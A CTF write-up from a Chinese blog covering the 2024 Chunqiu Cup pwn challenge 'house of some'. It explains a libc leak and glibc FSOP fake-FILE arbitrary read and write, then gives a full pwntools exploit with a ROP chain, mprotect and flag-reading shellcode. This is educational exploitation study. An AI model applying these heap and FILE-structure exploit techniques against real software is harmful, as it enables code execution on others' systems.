春秋杯2024 house of some

本文介绍了如何利用IDA工具分析程序,通过控制/dev/urandom设备实现内存操作,利用IO_list_all中的漏洞进行任意读写,解决内存泄露问题并利用ROP执行shellcode获取flag。解题过程中涉及到了内存分配、设备驱动和漏洞利用技巧。
摘要由CSDN通过智能技术生成

IDA分析

name函数
在这里插入图片描述
dev函数
在这里插入图片描述
fopen函数会在打开设备以后会在_IO_list_all_插入新的IO结构,这一点在后面会用到。/dev/zero设备是用于生成空字符的设备,/dev/urandom是用于生成随机数的设备,另一个则是相当于回收站一样丢弃所有输入进来的流。本题用到第二个设备。
在这里插入图片描述
draw函数本质上是在任意的地址进行1字节的置零。
在这里插入图片描述
在菜单函数这里显然有一个未初始化的变量v4由于getint使用了scanf,"%lld"接收数据在遇到’-'时不会覆盖栈上的数据又由于下面会打印出栈上的值存在一个泄露问题。泄露出来的地址是stdout的地址。选项5使用了exit函数也在提醒我们可以使用
FSOP。

手法引入

在这里插入图片描述
题目贴心的为我们展示了库的补丁显示_wide_data已经加上check了提示apple2不好使了。所以这题可以使用house of some(为一个手法出一道题,真的 我哭死。。)
先把手法的调用链放在下面

read
_IO_flush_all
 _IO_file_finish 
  _IO_do_write
   _IO_file_read
    read
write
_IO_flush_all 
 _IO_file_overflow
   _IO_do_write
    _IO_file_write
     write

read的三个参数分别对应 fileno->fd writebase->buf end-base->size
write同理。
下面是任意读和任意写的模板。

write_io = (p64(0x8000 | 0x800 | 0x1000)flag+ p64(0) * 3 + p64(stack) + p64(stack + 0x80) + p64(0) * 7 + p64(addr + len(p64(0) * 28)) + p64(1) + p64(0) * 2 + p64(0) + p64(0) * 9 +  p64(io_file_jumps)) 
read_io = p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(addr) + p64(addr + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 + p64(io_file_jumps - 0x8)
解释:
write
0x0:  0x8000 | 0x800 | 0x1000, #_flags
0x20: _IO_write_base#要泄露的起始地址
0x28: _IO_write_ptr#终止地址
0x68: _chain
0x70: _fileno#1
0x78: lock#
0xc0: _modes
0xd8: _IO_file_jumps, #_vtables
read
0x0:  0x8000 | 0x40 | 0x1000, #_flags
0x20: _IO_write_base#要输入的起始地址
0x28: _IO_write_ptr#终止地址
0x68: _chain
0x70: _fileno#0
0x78: lock#取stdout的对应的值就行
0xc0: _modes
0xd8: _IO_file_jumps - 0x8, #_vtables

既然可以任意写了只有有可控地址就可以将新的fake_io插入到list中从而循环任意读任意写。
知道有这个手法了解题就很轻松了。

解题思路

首先输入" - "泄露出libc的地址。
申请大小合适的堆块将任意写fake_io放到堆上。
然后利用dev函数将一个堆地址推到_IO_list_all_链表上面。
利用draw函数随意一字节置零的特性将新插入的结构体地址改小到可控范围。
第一次利用写在114514上面写入新的任意读fake_io1和fake_io2,同时这个fake_io1的chain成员应该是一个任意写的fake_io2方便循环利用。
读出任意函数的返回地址所在的栈的地址。
使用刚刚布置fake_io2的任意写在114514写下fake_io3任意写。
最后使用fake_io3向栈中写入rop读取flag(本题开启了沙箱机制只能使用orw读取flag)
解题代码

from pwn import*
context.arch = 'amd64'
def gd():
 gdb.attach(p)
 pause()

def add(size,data):
 p.recvuntil(b'> ')
 p.sendline(b'1')
 p.recvuntil(b'> ')
 p.sendline(str(size).encode())
 p.recvuntil(b'> ')
 p.sendline(data)   
def draw(o):
 p.recvuntil(b'> ')
 p.sendline(b'3')
 p.recvuntil(b'> ')
 p.sendline(str(o).encode())
 p.recvuntil(b'> ')
 p.sendline(b'1') 
def dev(s):
 p.recvuntil(b'> ')
 p.sendline(b'2')
 p.recvuntil(b'> ')
 p.sendline(str(s).encode()) 
def exit():
 p.recvuntil(b'> ')
 p.sendline(b'5')
def show():
 p.recvuntil(b'> ')
 p.sendline(b'4')
p = process("./pwn")
libc = ELF("/home/cforce/Desktop/pwn_tools/glibc-all-in-one-master/libs/2.38-1ubuntu6_amd64/libc.so.6")
p.sendline(b'-')
p.recvuntil(b'invalid option ')
libc_base = int(p.recv(15),10)-0x1ff7a0
io_list = libc_base + libc.sym['_IO_list_all'] - 0x114514000
addr = 0x114514000
print(hex(libc_base + libc.sym['_IO_list_all']))
read_io = 1
io_file_jumps = libc_base + libc.sym['_IO_file_jumps']
un = libc_base + 0x2008f0
stack = libc_base + libc.sym['environ']
mprotect = libc_base + libc.sym['mprotect']
pop_rdi = libc_base + 0x0000000000028715
pop_rsi = libc_base + 0x000000000002a671
pop_rdx_bx = libc_base + 0x0000000000093359
add(0x240,b'a' * 0x160 + p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(addr) + p64(addr + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 + p64(io_file_jumps - 0x8))
dev(2)
draw(io_list)
print(hex(io_file_jumps))
write_io = (p64(0x8000 | 0x800 | 0x1000) + p64(0) * 3 + p64(stack) + p64(stack + 0x80) + p64(0) * 7 + p64(addr + len(p64(0) * 28)) + p64(1) + p64(0) * 2 + p64(0) + p64(0) * 9 +  p64(io_file_jumps)) 
read_io = p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(addr) + p64(addr + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 + p64(io_file_jumps - 0x8)
write_io += read_io

p.sendline(b'5')
p.sendline(write_io)
p.recvuntil(b'> ')

stack = u64(p.recv(6).ljust(8,b'\x00')) - 0x290
read_io1 = p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(stack) + p64(stack + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 + p64(io_file_jumps - 0x8)
shellcode = asm(shellcraft.amd64.linux.cat2("flag",1,0x30))
print(hex(stack))
p.sendline(read_io1)
#gd()
p.sendline(p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(addr) + p64(pop_rdx_bx) + p64(0x100) + p64(0) + p64(libc_base + libc.sym['read']) + p64(pop_rdi) + p64(addr) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_bx) + p64(7) + p64(0) + p64(mprotect) + p64(addr))
p.sendline(shellcode)
p.interactive()

成功读出flag
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值